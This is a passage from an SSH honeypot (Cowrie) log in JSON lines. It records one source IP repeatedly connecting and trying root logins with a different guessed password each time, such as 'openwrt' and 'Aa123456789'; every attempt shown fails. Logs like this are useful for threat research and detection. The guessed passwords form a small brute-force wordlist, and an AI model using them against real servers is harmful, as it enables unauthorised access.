nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:44.498772Z","src_ip":"60.165.124.241","session":"f0bcc2fba9cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198032","message":"login attempt [root/198032] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:46.024385Z","src_ip":"60.165.124.241","session":"f0bcc2fba9cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:47.291493Z","src_ip":"60.165.124.241","session":"f0bcc2fba9cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46584,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa784624dcda","protocol":"ssh","message":"New connection: 60.165.124.241:46584 (10.17.0.5:22) [session: fa784624dcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:47.529302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:47.533535Z","src_ip":"60.165.124.241","session":"fa784624dcda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:47.788568Z","src_ip":"60.165.124.241","session":"fa784624dcda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linyi@123","message":"login attempt [root/linyi@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:48.535382Z","src_ip":"60.165.124.241","session":"fa784624dcda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:49.785221Z","src_ip":"60.165.124.241","session":"fa784624dcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49780,"dst_ip":"10.17.0.5","dst_port":22,"session":"07b2108fe5a6","protocol":"ssh","message":"New connection: 60.165.124.241:49780 (10.17.0.5:22) [session: 07b2108fe5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:50.026763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:50.033303Z","src_ip":"60.165.124.241","session":"07b2108fe5a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:50.292033Z","src_ip":"60.165.124.241","session":"07b2108fe5a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789","message":"login attempt [root/Aa123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:51.038987Z","src_ip":"60.165.124.241","session":"07b2108fe5a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:52.293373Z","src_ip":"60.165.124.241","session":"07b2108fe5a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52912,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa94b104286","protocol":"ssh","message":"New connection: 60.165.124.241:52912 (10.17.0.5:22) [session: 9aa94b104286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:52.536951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:52.541643Z","src_ip":"60.165.124.241","session":"9aa94b104286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:52.792106Z","src_ip":"60.165.124.241","session":"9aa94b104286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openwrt","message":"login attempt [root/openwrt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:53.510855Z","src_ip":"60.165.124.241","session":"9aa94b104286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:54.760380Z","src_ip":"60.165.124.241","session":"9aa94b104286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55750,"dst_ip":"10.17.0.5","dst_port":22,"session":"d338c9a7320d","protocol":"ssh","message":"New connection: 60.165.124.241:55750 (10.17.0.5:22) [session: d338c9a7320d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:54.993087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:54.999759Z","src_ip":"60.165.124.241","session":"d338c9a7320d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:55.240885Z","src_ip":"60.165.124.241","session":"d338c9a7320d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cj","message":"login attempt [root/cj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:55.957679Z","src_ip":"60.165.124.241","session":"d338c9a7320d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:57.198701Z","src_ip":"60.165.124.241","session":"d338c9a7320d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58754,"dst_ip":"10.17.0.5","dst_port":22,"session":"e25164a75e7f","protocol":"ssh","message":"New connection: 60.165.124.241:58754 (10.17.0.5:22) [session: e25164a75e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:57.471714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:57.476545Z","src_ip":"60.165.124.241","session":"e25164a75e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:57.734038Z","src_ip":"60.165.124.241","session":"e25164a75e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rustic","message":"login attempt [root/rustic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:58.511927Z","src_ip":"60.165.124.241","session":"e25164a75e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:59.776875Z","src_ip":"60.165.124.241","session":"e25164a75e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33976,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd8f56117b55","protocol":"ssh","message":"New connection: 60.165.124.241:33976 (10.17.0.5:22) [session: fd8f56117b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:00.008350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:00.013402Z","src_ip":"60.165.124.241","session":"fd8f56117b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:00.260179Z","src_ip":"60.165.124.241","session":"fd8f56117b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zjzy@2025","message":"login attempt [root/zjzy@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:01.017148Z","src_ip":"60.165.124.241","session":"fd8f56117b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:02.269768Z","src_ip":"60.165.124.241","session":"fd8f56117b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37276,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c32ec00ac6a","protocol":"ssh","message":"New connection: 60.165.124.241:37276 (10.17.0.5:22) [session: 5c32ec00ac6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:02.493863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:02.500062Z","src_ip":"60.165.124.241","session":"5c32ec00ac6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:02.739616Z","src_ip":"60.165.124.241","session":"5c32ec00ac6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaaaaa1","message":"login attempt [root/Aaaaaaa1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:03.470306Z","src_ip":"60.165.124.241","session":"5c32ec00ac6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:04.711393Z","src_ip":"60.165.124.241","session":"5c32ec00ac6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40006,"dst_ip":"10.17.0.5","dst_port":22,"session":"88b00d7f2673","protocol":"ssh","message":"New connection: 60.165.124.241:40006 (10.17.0.5:22) [session: 88b00d7f2673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:04.948283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:04.955337Z","src_ip":"60.165.124.241","session":"88b00d7f2673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:05.195441Z","src_ip":"60.165.124.241","session":"88b00d7f2673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:05.924687Z","src_ip":"60.165.124.241","session":"88b00d7f2673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:07.166941Z","src_ip":"60.165.124.241","session":"88b00d7f2673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43026,"dst_ip":"10.17.0.5","dst_port":22,"session":"e608efe97d97","protocol":"ssh","message":"New connection: 60.165.124.241:43026 (10.17.0.5:22) [session: e608efe97d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:07.400696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:07.407697Z","src_ip":"60.165.124.241","session":"e608efe97d97","protocol":"ssh"}
